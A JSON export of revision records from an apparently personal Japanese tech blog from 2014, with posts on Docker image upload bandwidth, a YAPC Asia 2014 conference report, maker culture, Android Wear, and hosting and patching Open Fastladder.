を個人が使う時の注意点","body":"%blog%\r\n\r\nDocker が何かとかそういう話は全部抜きにして書きます。\r\n\r\nDocker においてよくある運用は\r\n\r\n1. どっかにプライベートなレジストリを立てる\r\n2. ローカルかなんかでビルドしたコンテナをそこにプッシュする\r\n3. 実際の実行環境ではそれを pull してきて起動\r\n\r\nという感じではないかと思います。 3. の後にリバースプロキシだのなんだのいろいろ設定しないといけませんから、それは各種自動化フレームワークが用いられます。\r\n\r\nここまではいいのですが、問題は 2 です。\r\n\r\nDocker は 2 をやるごとにほぼフルの Linux 環境をネットワーク経由でアップロードするということになります。これが案外バカにならなくて、測定してみたところこの二週間でこれでのアップロードの合計は 350GB ほどになっていました。\r\n\r\nもうちょっと激しくなるとプロバイダの設定する帯域規制だったり強制解約要件にひっかかってしまいますし、単純に自宅の帯域を圧迫して他の通信を阻害しかねません。\r\n\r\nこの問題の解決策は\r\n\r\n1. イメージ本体ではなく Dockerfile をやり取りする\r\n - registry がいらなくなるという利点がありますが実行環境において実行する毎にビルドが発生するので CPU の無駄遣いになります\r\n2. ビルドと registry へのプッシュ専用にさくらの VPS を一個借りてそこでやる\r\n\r\nというのが個人レベルでは考えられます。僕は最近は 2 を選択しました。ローカルで毎日 CPU をぶんまわしまくってノートが発熱するという問題も無くなって快適。","created_at":"2014-08-26T01:47:53.000Z","updated_at":"2014-08-26T01:47:53.000Z"},{"id":2721,"name":"text/Docker を個人が使う時の注意点","body":"%blog%\r\n\r\nDocker が何かとかそういう話は全部抜きにして書きます。\r\n\r\nDocker においてよくある運用は\r\n\r\n1. どっかにプライベートなレジストリを立てる\r\n2. ローカルかなんかでビルドしたコンテナをそこにプッシュする\r\n3. 実際の実行環境ではそれを pull してきて起動\r\n\r\nという感じではないかと思います。 3. の後にリバースプロキシだのなんだのいろいろ設定しないといけませんから、それは各種自動化フレームワークが用いられます。\r\n\r\nここまではいいのですが、問題は 2 です。\r\n\r\nDocker は 2 をやるごとにほぼフルの Linux 環境をネットワーク経由でアップロードするということになります。これが案外バカにならなくて、測定してみたところこの二週間でこれでのアップロードの合計は 350GB ほどになっていました。\r\n\r\nもうちょっと激しくなるとプロバイダの設定する帯域規制だったり強制解約要件にひっかかってしまいますし、単純に自宅の帯域を圧迫して他の通信を阻害しかねません。\r\n\r\nこの問題の解決策は\r\n\r\n1. イメージ本体ではなく Dockerfile をやり取りする\r\n - registry がいらなくなるという利点がありますが実行環境において実行する毎にビルドが発生するので CPU と実行時間の無駄遣いになります\r\n2. ビルドと registry へのプッシュ専用にさくらの VPS を一個借りてそこでやる\r\n\r\nというのが個人レベルでは考えられます。僕は最近は 2 を選択しました。ローカルで毎日 CPU をぶんまわしまくってノートが発熱するという問題も無くなって快適。","created_at":"2014-08-26T01:49:08.000Z","updated_at":"2014-08-26T01:49:08.000Z"},{"id":2722,"name":"text/Docker を個人が使う時の注意点","body":"%blog%\r\n\r\nDocker が何かとかそういう話は全部抜きにして書きます。\r\n\r\nDocker においてよくある運用は\r\n\r\n1. どっかにプライベートなレジストリを立てる\r\n2. ローカルかなんかでビルドしたコンテナをそこにプッシュする\r\n3. 実際の実行環境ではそれを pull してきて起動\r\n\r\nという感じではないかと思います。 3. の後にリバースプロキシだのなんだのいろいろ設定しないといけませんから、それは各種自動化フレームワークが用いられます。\r\n\r\nここまではいいのですが、問題は 2 です。\r\n\r\nDocker は 2 をやるごとにほぼフルの Linux 環境をネットワーク経由でアップロードするということになります。これが案外バカにならなくて、測定してみたところこの二週間でこれでのアップロードの合計は 350GB ほどになっていました。\r\n\r\nもうちょっと激しくなるとプロバイダの設定する帯域規制だったり強制解約要件にひっかかってしまいますし、単純に自宅の帯域を圧迫して他の通信を阻害しかねません。\r\n\r\nこの問題の解決策は\r\n\r\n1. イメージ本体ではなく Dockerfile をやり取りする\r\n - registry がいらなくなるという利点がありますが実行環境において実行する毎にビルドが発生するので CPU と実行時間の無駄遣いになります\r\n - ただ Dockerfile をいくつかの段階に分割するとかして無駄遣いを極力抑えることはできますし、そういう運用も強力ではあります。\r\n2. ビルドと registry へのプッシュ専用にさくらの VPS を一個借りてそこでやる\r\n\r\nというのが個人レベルでは考えられます。僕は最近は 2 を選択しました。ローカルで毎日 CPU をぶんまわしまくってノートが発熱するという問題も無くなって快適。","created_at":"2014-08-26T01:51:38.000Z","updated_at":"2014-08-26T01:51:38.000Z"},{"id":2723,"name":"text/YAPC Asia 2014 行ってきた","body":"%blog%\r\n\r\n行ったらブログ書けって言われたので。\r\n\r\n1. HUB のビールはおいしかった\r\n2. HUB のビール以外もたぶんおいしかった\r\n3. あとはだいぶ記憶がない\r\n\r\n会場の入り口に HUB があるというのは致命的な脆弱性で、まずは駆けつけ一杯みたいな感じでビールを沢山飲んでからトークを聞くみたいになってしまう。結果としてトークの内容を全然理解できないで帰ってくることになる。というかいつどうやって会場をでてどうやって帰ってきたのかとか全然記憶が無い。\r\n\r\nとはいえなんかもう Perl の話はあんまりなくて、いろんな言語にまたがるふわっとした話が多い感じだったのでそんな感じの参加態度でいいかなとか思っている。\r\n\r\nところでオランダの Booking.com っていう会社の人がものすごいアグレッシブに求人してて、日本の会社がフランスのカンファレンスにいってフランス人めっちゃ勧誘してるみたいな話あんま聞かないな、そういうのやっていったらいいんじゃないかなと思った。\r\n\r\n前日に白州醸造所にいったりして二日酔いになりながら一日目行くみたいな感じで何もかもダメだった。","created_at":"2014-08-31T00:22:28.000Z","updated_at":"2014-08-31T00:22:28.000Z"},{"id":2724,"name":"text/YAPC Asia 2014 行ってきた","body":"%blog%\r\n\r\n行ったらブログ書けって言われたので。\r\n\r\n1. HUB のビールはおいしかった\r\n2. HUB のビール以外もたぶんおいしかった\r\n3. あとはだいぶ記憶がない\r\n\r\n会場の入り口に HUB があるというのは致命的な脆弱性で、まずは駆けつけ一杯みたいな感じでビールを沢山飲んでからトークを聞くみたいになってしまう。結果としてトークの内容を全然理解できないで帰ってくることになる。というかいつどうやって会場をでてどうやって帰ってきたのかとか全然記憶が無い。\r\n\r\nとはいえなんかもう Perl の話はあんまりなくて、いろんな言語にまたがるふわっとした話が多い感じだったのでそんな感じの参加態度でいいかなとか思っている。\r\n\r\nWeb 開発もモバイル開発も思想は完成されていて、あとはどう大トラフィックに耐えるかとか、思想の実践をいかに洗練させていくかみたいな状態になっているのでまあふわっとした話が多いのはそういうことだと思う。しかしそうやって油断していると大きなブレイクスルーを見逃してえらいことになったりするだろうから、油断せずにちゃんといろいろな動向を追っていたいと思う。\r\n\r\nところでオランダの Booking.com っていう会社の人がものすごいアグレッシブに求人してて、日本の会社がフランスのカンファレンスにいってフランス人めっちゃ勧誘してるみたいな話あんま聞かないな、そういうのやっていったらいいんじゃないかなと思った。\r\n\r\n前日に白州醸造所にいったりして二日酔いになりながら一日目行くみたいな感じで何もかもダメだった。","created_at":"2014-08-31T00:24:44.000Z","updated_at":"2014-08-31T00:24:44.000Z"},{"id":2725,"name":"text/YAPC Asia 2014 行ってきた","body":"%blog%\r\n\r\n行ったらブログ書けって言われたので。\r\n\r\n1. HUB のビールはおいしかった\r\n2. HUB のビール以外もたぶんおいしかった\r\n3. あとはだいぶ記憶がない\r\n\r\n会場の入り口に HUB があるというのは致命的な脆弱性で、まずは駆けつけ一杯みたいな感じでビールを沢山飲んでからトークを聞くみたいになってしまう。結果としてトークの内容を全然理解できないで帰ってくることになる。というかいつどうやって会場をでてどうやって帰ってきたのかとか全然記憶が無い。\r\n\r\nとはいえなんかもう Perl の話はあんまりなくて、いろんな言語にまたがるふわっとした話が多い感じだったのでそんな感じの参加態度でいいかなとか思っている。\r\n\r\nWeb 開発もモバイル開発も思想は完成されていて、あとはどう大トラフィックに耐えるかとか、思想の実践をいかに洗練させていくかみたいな状態になっているのでまあふわっとした話が多いのはそういうことだと思う。しかしそうやって油断していると大きなブレイクスルーを見逃してえらいことになったりするだろうから、油断せずにちゃんといろいろな動向を追っていたいと思う。\r\n\r\nところでオランダの Booking.com っていう会社の人がものすごいアグレッシブに求人してて、日本の会社がフランスのカンファレンスにいってフランス人めっちゃ勧誘してるみたいな話あんま聞かないな、そういうのやっていったらいいんじゃないかなと思った。\r\n\r\n前日に白州醸造所にいったりして二日酔いになりながら一日目行くみたいな感じで何もかもダメだった。\r\n\r\nNode.js では「時間を使う処理全て」を I/O の先に渡さないとそこがブロッキングしてしまう、それは CPU を使う処理もそうで、 Node.js は Web アプリに分散処理を強制するギプスみたいなものでそういう価値はあるみたいな話をしたらあんまり納得してもらえなかったみたいな記憶があるんだけど、どこで誰を相手に話したのか覚えていないし、本当にそんな話をしたのか覚えていない。これはマジメにそういう風に思ってます。\r\n\r\n#### 写真で分かる YAPC Asia\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003edankogai の iPad の持ち方おかしいと思う \u003ca href=\"http://t.co/OY8lUBcOPc\"\u003epic.twitter.com/OY8lUBcOPc\u003c/a\u003e\u003c/p\u003e\u0026mdash; 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/505305449864757249\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e良くない出来事 \u003ca href=\"http://t.co/W5cDbBS3ej\"\u003epic.twitter.com/W5cDbBS3ej\u003c/a\u003e\u003c/p\u003e\u0026mdash; 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/505326113229254656\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e様子です \u003ca href=\"http://t.co/bhsxwDEM2Y\"\u003epic.twitter.com/bhsxwDEM2Y\u003c/a\u003e\u003c/p\u003e\u0026mdash; Perl::Lint公式アカウント (@moznion) \u003ca href=\"https://twitter.com/moznion/statuses/505327563971899392\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2014-08-31T00:32:16.000Z","updated_at":"2014-08-31T00:32:16.000Z"},{"id":2726,"name":"text/YAPC Asia 2014 行ってきた","body":"%blog%\r\n\r\n行ったらブログ書けって言われたので。\r\n\r\n1. HUB のビールはおいしかった\r\n2. HUB のビール以外もたぶんおいしかった\r\n3. あとはだいぶ記憶がない\r\n\r\n会場の入り口に HUB があるというのは致命的な脆弱性で、まずは駆けつけ一杯みたいな感じでビールを沢山飲んでからトークを聞くみたいになってしまう。結果としてトークの内容を全然理解できないで帰ってくることになる。というかいつどうやって会場をでてどうやって帰ってきたのかとか全然記憶が無い。\r\n\r\nとはいえなんかもう Perl の話はあんまりなくて、いろんな言語にまたがるふわっとした話が多い感じだったのでそんな感じの参加態度でいいかなとか思っている。\r\n\r\nWeb 開発もモバイル開発も思想は完成されていて、あとはどう大トラフィックに耐えるかとか、思想の実践をいかに洗練させていくかみたいな状態になっているのでまあふわっとした話が多いのはそういうことだと思う。しかしそうやって油断していると大きなブレイクスルーを見逃してえらいことになったりするだろうから、油断せずにちゃんといろいろな動向を追っていたいと思う。\r\n\r\nところでオランダの Booking.com っていう会社の人がものすごいアグレッシブに求人してて、日本の会社がフランスのカンファレンスにいってフランス人めっちゃ勧誘してるみたいな話あんま聞かないな、そういうのやっていったらいいんじゃないかなと思った。\r\n\r\n前日に白州醸造所にいったりして二日酔いになりながら一日目行くみたいな感じで何もかもダメだった。\r\n\r\nNode.js では「時間を使う処理全て」を I/O の先に渡さないとそこがブロッキングしてしまう、それは CPU を使う処理もそうで、 Node.js は Web アプリに分散処理を強制するギプスみたいなものでそういう価値はあるみたいな話をしたらあんまり納得してもらえなかったみたいな記憶があるんだけど、どこで誰を相手に話したのか覚えていないし、本当にそんな話をしたのか覚えていない。これはマジメにそういう風に思ってます。\r\n\r\n#### 写真で分かる YAPC Asia\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003edankogai の iPad の持ち方おかしいと思う \u003ca href=\"http://t.co/OY8lUBcOPc\"\u003epic.twitter.com/OY8lUBcOPc\u003c/a\u003e\u003c/p\u003e\u0026mdash; 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/505305449864757249\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e良くない出来事 \u003ca href=\"http://t.co/W5cDbBS3ej\"\u003epic.twitter.com/W5cDbBS3ej\u003c/a\u003e\u003c/p\u003e\u0026mdash; 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/505326113229254656\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e様子です \u003ca href=\"http://t.co/bhsxwDEM2Y\"\u003epic.twitter.com/bhsxwDEM2Y\u003c/a\u003e\u003c/p\u003e\u0026mdash; Perl::Lint公式アカウント (@moznion) \u003ca href=\"https://twitter.com/moznion/statuses/505327563971899392\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2014-08-31T00:32:36.000Z","updated_at":"2014-08-31T00:32:36.000Z"},{"id":2727,"name":"text/YAPC Asia 2014 行ってきた","body":"%blog%\r\n\r\n行ったらブログ書けって言われたので。\r\n\r\n1. HUB のビールはおいしかった\r\n2. HUB のビール以外もたぶんおいしかった\r\n3. あとはだいぶ記憶がない\r\n\r\n会場の入り口に HUB があるというのは致命的な脆弱性で、まずは駆けつけ一杯みたいな感じでビールを沢山飲んでからトークを聞くみたいになってしまう。結果としてトークの内容を全然理解できないで帰ってくることになる。というかいつどうやって会場をでてどうやって帰ってきたのかとか全然記憶が無い。\r\n\r\nとはいえなんかもう Perl の話はあんまりなくて、いろんな言語にまたがるふわっとした話が多い感じだったのでそんな感じの参加態度でいいかなとか思っている。\r\n\r\nWeb 開発もモバイル開発も思想は完成されていて、あとはどう大トラフィックに耐えるかとか、思想の実践をいかに洗練させていくかみたいな状態になっているのでまあふわっとした話が多いのはそういうことだと思う。しかしそうやって油断していると大きなブレイクスルーを見逃してえらいことになったりするだろうから、油断せずにちゃんといろいろな動向を追っていたいと思う。\r\n\r\nところでオランダの Booking.com っていう会社の人がものすごいアグレッシブに求人してて、日本の会社がフランスのカンファレンスにいってフランス人めっちゃ勧誘してるみたいな話あんま聞かないな、そういうのやっていったらいいんじゃないかなと思った。\r\n\r\n前日に白州醸造所にいったりして二日酔いになりながら一日目行くみたいな感じで何もかもダメだった。\r\n\r\nNode.js では「時間を使う処理全て」を I/O の先に渡さないとそこがブロッキングしてしまう、それは CPU を使う処理もそうで、 Node.js は Web アプリに分散処理を強制するギプスみたいなものでそういう価値はあるみたいな話をしたらあんまり納得してもらえなかったみたいな記憶があるんだけど、どこで誰を相手に話したのか覚えていないし、本当にそんな話をしたのか覚えていない。これはマジメにそういう風に思ってます。\r\n\r\n#### カンファレンスの運営についての意見\r\n糞みたいなことだけ書いててもしょうがないので真面目な感想も一個だけ書いておくことにする。カンファレンスが行なわれるとだいたい「海外カンファレンスに行ってきました」みたいな報告 LT があるものだがそこでよく言われるのは\r\n\r\n- 海外のカンファレンスではみんな dankogai みたいに講義中にどんどん質問する\r\n\r\nというもので、わざわざ人が集まっているんだからそのようにすることは有意義だ、そうしていこう、とは思う。ただ話を聞くだけならブログの記事を読めば済む話だ。だったら HUB でビールを飲みながらエンジニアと話す方が有意義だ、という話になりかねない。\r\n\r\nとはいえ現実的に dankogai があと 10 人もいたらタイムスケジュールがなりたたないだろう。それどころか通常の質疑応答時間も削られるほどにギチギチにスケジュールが組まれたカンファレンスが日本では多すぎる。もっと講演者に質問を気軽に出来るようにスケジュールに余裕を持たせる(講義本数は変えないまま持ち時間を減らすか、講義本数を減らすかする)ほうがいいのではないか。\r\n\r\n#### 写真で分かる YAPC Asia\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003edankogai の iPad の持ち方おかしいと思う \u003ca href=\"http://t.co/OY8lUBcOPc\"\u003epic.twitter.com/OY8lUBcOPc\u003c/a\u003e\u003c/p\u003e— 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/505305449864757249\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e良くない出来事 \u003ca href=\"http://t.co/W5cDbBS3ej\"\u003epic.twitter.com/W5cDbBS3ej\u003c/a\u003e\u003c/p\u003e— 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/505326113229254656\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e様子です \u003ca href=\"http://t.co/bhsxwDEM2Y\"\u003epic.twitter.com/bhsxwDEM2Y\u003c/a\u003e\u003c/p\u003e— Perl::Lint公式アカウント (@moznion) \u003ca href=\"https://twitter.com/moznion/statuses/505327563971899392\"\u003eAugust 29, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2014-08-31T14:34:01.000Z","updated_at":"2014-08-31T14:34:01.000Z"},{"id":2728,"name":"text/サイトが不安定","body":"%blog%\r\n\r\nここ数日不安定なので、一時的に EC2 かなんかにコンテナを引っ越させたほうがいいかもしれない。面倒だな。","created_at":"2014-08-31T15:54:16.000Z","updated_at":"2014-08-31T15:54:16.000Z"},{"id":2729,"name":"text/ネイティブ広告とは何か?","body":"%blog%\r\n\r\n最近よく聞くようになったこの言葉ですが、\r\n\r\n- 記事広告または記事体広告という言葉のイメージが悪くなったので、言いかえている\r\n\r\nというものです。これ以外のことを言ってる人達は他人を騙そうとしてる人達なので気をつけたほうがいいです。","created_at":"2014-09-04T08:59:43.000Z","updated_at":"2014-09-04T08:59:43.000Z"},{"id":2730,"name":"text/Maker 文化みたいの","body":"%blog%\r\n\r\n土地が広大なアメリカや中国の人と競って日本人が勝てるわけないと思う。\r\n\r\nなんか作って爆発事故とか起こしたとするアメリカでガレージ吹き飛ばしたとかなら笑い話で済む。家と家が密着している日本では激発物破裂罪か重過失失火罪で懲役となる。\r\n\r\nアメリカの深南部では鉄床飛ばしというものがある。これは穴をあけた鉄床に火薬をたっぷりといれて、そこに別の鉄床を載せる。そして火薬を引火させて爆発させて鉄床を吹き飛ばすというものだ。これの飛距離を競う大会などもある。\r\n\r\n何を言っているかよくわからないと思うので、端的に画像を掲載する。\r\n\r\n![http://s.ssig33.com/gyazo/de75aa2decc4444eaa3caf8880f47981](http://s.ssig33.com/gyazo/de75aa2decc4444eaa3caf8880f47981)\r\n\r\nアメリカではこうやって火薬で遊んでも特に危険はないのだ。土地があまりに余っているから。日本人が鉄床を打ち上げたら即座に逮捕される。\r\n\r\n鉄床はまあ打ち上げなくてもいいんだけど、モデルロケットとかは Maker 文化圏でも結構使われている。これも日本だとかなり小さいやつしか打ち上げられないし、アメリカのように家の裏の広大な土地でやるとかいうわけにはいかない。\r\n\r\nこれはもうどうしようもない話で、こういう分野でアメリカ人に勝負を仕掛けたところで鉄床をぶつけられて撃退されるということになる。\r\n\r\nMaker 文化みたいので日本人が勝負をしかけようと思ったら、アメリカに移住してしまうのが一番手っ取り早いと思う。日本にいながらにして世界に挑めるものは、やはりスマートフォンや PC で動くソフトウェアだけなのだろうと思う(現状勝負挑めてるかは別として)。\r\n\r\nというわけで俺も鉄床を爆破して吹き飛ばしたいという話でした。","created_at":"2014-09-12T07:50:18.000Z","updated_at":"2014-09-12T07:50:18.000Z"},{"id":2731,"name":"text/Maker 文化みたいの","body":"%blog%\r\n\r\n土地が広大なアメリカや中国の人と競って日本人が勝てるわけないと思う。\r\n\r\nなんか作って爆発事故とか起こしたとする。アメリカでガレージ吹き飛ばしたとかなら笑い話で済む。家と家が密着している日本では激発物破裂罪か重過失失火罪で懲役となる。\r\n\r\nアメリカの深南部では鉄床飛ばしというものがある。これは穴をあけた鉄床に火薬をたっぷりといれて、そこに別の鉄床を載せる。そして火薬を引火させて爆発させて鉄床を吹き飛ばすというものだ。これの飛距離を競う大会などもある。\r\n\r\n何を言っているかよくわからないと思うので、端的に画像を掲載する。\r\n\r\n![http://s.ssig33.com/gyazo/de75aa2decc4444eaa3caf8880f47981](http://s.ssig33.com/gyazo/de75aa2decc4444eaa3caf8880f47981)\r\n\r\nアメリカではこうやって火薬で遊んでも特に危険はないのだ。土地があまりに余っているから。日本人が鉄床を打ち上げたら即座に逮捕される。\r\n\r\n鉄床はまあ打ち上げなくてもいいんだけど、モデルロケットとかは Maker 文化圏でも結構使われている。これも日本だとかなり小さいやつしか打ち上げられないし、アメリカのように家の裏の広大な土地でやるとかいうわけにはいかない。\r\n\r\nこれはもうどうしようもない話で、こういう分野でアメリカ人に勝負を仕掛けたところで鉄床をぶつけられて撃退されるということになる。\r\n\r\nMaker 文化みたいので日本人が勝負をしかけようと思ったら、アメリカに移住してしまうのが一番手っ取り早いと思う。日本にいながらにして世界に挑めるものは、やはりスマートフォンや PC で動くソフトウェアだけなのだろうと思う(現状勝負挑めてるかは別として)。\r\n\r\nというわけで俺も鉄床を爆破して吹き飛ばしたいという話でした。","created_at":"2014-09-12T07:52:51.000Z","updated_at":"2014-09-12T07:52:51.000Z"},{"id":2732,"name":"text/LG G Watch 買った","body":"%blog%\r\n\r\nApple Watch が話題の昨今ですが先日 Android Wear の LG G Watch を購入しました。\r\n\r\n「時間を見るなら携帯電話で十分なのだから誰もあらためて時計なんか買わない」とよく言われていますが、数年前の携帯電話ならともかく、最近の携帯電話はとても大きくて時間を見るぐらいでいちいち取り出すのは少々難があります。\r\n\r\nそこで改めて時間をすぐに見ることができるデバイスは便利で、しかもその便利なデバイスで携帯電話に届いている通知を見て簡単に返信などができるととても便利です。電池も画面を常時オンにする設定をオフにすると三日ぐらいは持ちます。\r\n\r\nApple Watch はタッチパネルが感圧式でそれを補うように竜頭がついているなど操作系はかなり腐っていますが、どうせ入力の主体となるのは Android Wear 同様音声でしょうからさほど問題はないのではないかと思います。 iPhone ユーザーの人はあれ買ったらいいんじゃないでしょうか。\r\n\r\nところで Android Wear で一番革命的なアプリケーションを紹介いたします。\r\n\r\n- [Find My Phone (Android Wear)](https://play.google.com/store/apps/details?id=net.nickapps.wear.findmyphone)\r\n\r\nこれはとても実用的なソフトウェアで、 Android Wear 側でこれを起動すると携帯電話の側から大音量が鳴り響きます。電話がどこにあるか分からない時に便利。","created_at":"2014-09-16T11:45:06.000Z","updated_at":"2014-09-16T11:45:06.000Z"},{"id":2733,"name":"text/家二郎","body":"%blog%\r\n\r\nうちでもやったことあるので寸胴とか小野式製麺機とかあるんだけど。\r\n\r\n- 本家よりずっと美味しいものを 10 食ぐらい作る\r\n\r\nとなるとこれは案外あっさり出来る。 3 回も試作すればだいたいの本家より美味しくなる。しかしこれを\r\n\r\n- 毎日大量に供給する\r\n- 一食あたり数百円で供給する\r\n- 朝の短い仕込み時間でスープをモノにする\r\n- 安全性や衛生面をちゃんとする\r\n\r\nという点について考えていくとこれは大変なことだ、実際に二郎を経営している親父達はすごい、ということを実感できるので、まあまずは何回か家二郎やってみるとよいことがあります。","created_at":"2014-09-21T10:33:37.000Z","updated_at":"2014-09-21T10:33:37.000Z"},{"id":2734,"name":"text/退職中華","body":"%blog% 東亜飯店に行ってきた\r\n\r\n\u003ciframe src=\"//instagram.com/p/tpezGePxNc/embed/\" width=\"612\" height=\"710\" frameborder=\"0\" scrolling=\"no\" allowtransparency=\"true\"\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe src=\"//instagram.com/p/tpe2z5PxNe/embed/\" width=\"612\" height=\"710\" frameborder=\"0\" scrolling=\"no\" allowtransparency=\"true\"\u003e\u003c/iframe\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e退職のあの人です \u003ca href=\"http://t.co/iAPRYCnBSy\"\u003epic.twitter.com/iAPRYCnBSy\u003c/a\u003e\u003c/p\u003e\u0026mdash; 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/517670537611325440\"\u003eOctober 2, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"http://t.co/enM5y3tDg4\"\u003epic.twitter.com/enM5y3tDg4\u003c/a\u003e\u003c/p\u003e\u0026mdash; 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/517673831117254656\"\u003eOctober 2, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n株式会社ハートレイルズは Web アプリケーションプログラマ、モバイルアプリエンジニア、デザイナーを募集しています。在宅勤務でこれら業務を行いたい方は mail@ssig33.com あたりまで連絡をください。","created_at":"2014-10-02T14:25:51.000Z","updated_at":"2014-10-02T14:25:51.000Z"},{"id":2735,"name":"text/退職中華","body":"%blog% 東亜飯店に行ってきた\r\n\r\n\u003ciframe src=\"//instagram.com/p/tpezGePxNc/embed/\" width=\"612\" height=\"710\" frameborder=\"0\" scrolling=\"no\" allowtransparency=\"true\"\u003e\u003c/iframe\u003e\r\n\r\n\u003ciframe src=\"//instagram.com/p/tpe2z5PxNe/embed/\" width=\"612\" height=\"710\" frameborder=\"0\" scrolling=\"no\" allowtransparency=\"true\"\u003e\u003c/iframe\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e退職のあの人です \u003ca href=\"http://t.co/iAPRYCnBSy\"\u003epic.twitter.com/iAPRYCnBSy\u003c/a\u003e\u003c/p\u003e— 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/517670537611325440\"\u003eOctober 2, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e\u003ca href=\"http://t.co/enM5y3tDg4\"\u003epic.twitter.com/enM5y3tDg4\u003c/a\u003e\u003c/p\u003e— 小池陸@松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/517673831117254656\"\u003eOctober 2, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n","created_at":"2014-10-02T14:27:13.000Z","updated_at":"2014-10-02T14:27:13.000Z"},{"id":2736,"name":"text/Open Fastladder 近況","body":"%blog%\r\n\r\nRate というオブジェクトがグローバルから見えなくなっているのに、そのように参照しようとしている箇所があって、レートでソート出来ないという致命的な問題は [kan さんが直しました](https://github.com/fastladder/fastladder/pull/181)。\r\n\r\nHeroku で動かせるように Heroku Button をつけようみたいな話がありますが、クローラーが必要だったり湯水のようにデータベースの容量を使ったりするプログラムなので全く実用的ではありません。さくら VPS とかで動かしたほうがいいと思います。\r\n\r\n僕が個人的に使っていた Fastladder をこそっと公開したところ、一気に 100 人ぐらい人が集まったのですが、そうするともうあっという間に RPC 経由のクローラはまともに使えなくなりました。\r\n\r\nXSS があったので[僕がこっそり直しました](https://github.com/fastladder/fastladder/commit/8561ad9cee63a0e3cd8ae4d18322219639db7904)。直し方としては非常によろしくない直し方ですが、細かくデバッグするのだるかったので。。。セキュリティ上の問題はこれ以外にも多々あるのではないかと思います。\r\n\r\n### まとめ\r\nあなたがそれなりに経験のある Web 開発者で無い限り、 Open Fastladder を使うべきではありません。危険です。","created_at":"2014-10-02T18:01:44.000Z","updated_at":"2014-10-02T18:01:44.000Z"},{"id":2737,"name":"text/OpenFastladder ホスティング","body":"%blog%\r\n\r\nこっそりやってます: http://fl.ssig33.com\r\n\r\n#### 注意事項\r\n- 個人の運営する Web アプリケーションです、稼働率保証などは一切ありません\r\n - ぼくが使ってるものなので落ちてたら直したりはしますが\r\n- クローラなどかなり github にあるやつからは書き換えてますが、多分ユーザー 500 人ぐらいまでしか耐えられないので突如ユーザー登録できなくなるかもしれません。\r\n- 僕の好みで入れた独自機能が多々あります\r\n - フィード全文化\r\n - はてブコメント表示\r\n - その他いろいろ\r\n- 障害発生時などユーザーの使用状況を確認する可能性があります\r\n- その他一切の動作は保証されません\r\n- いきなり月額課金制とかに移行する可能性があります\r\n - その場合はそれなりにまともにいろいろ保証したり利用規約書いたりすることになるでしょう。","created_at":"2014-10-03T03:48:08.000Z","updated_at":"2014-10-03T03:48:08.000Z"},{"id":2738,"name":"text/OpenFastladder ホスティング","body":"%blog%\r\n\r\nこっそりやってます: http://fl.ssig33.com\r\n\r\n#### 注意事項\r\n- 個人の運営する Web アプリケーションです、稼働率保証などは一切ありません\r\n - ぼくが使ってるものなので落ちてたら直したりはしますが\r\n- クローラなどかなり github にあるやつからは書き換えてますが、多分ユーザー 500 人ぐらいまでしか耐えられないので突如ユーザー登録できなくなるかもしれません。\r\n- OPML はフォルダ構造全無視して取り込みます。直そうかと思いましたがめんどくさいので直しません。\r\n- 僕の好みで入れた独自機能が多々あります\r\n - 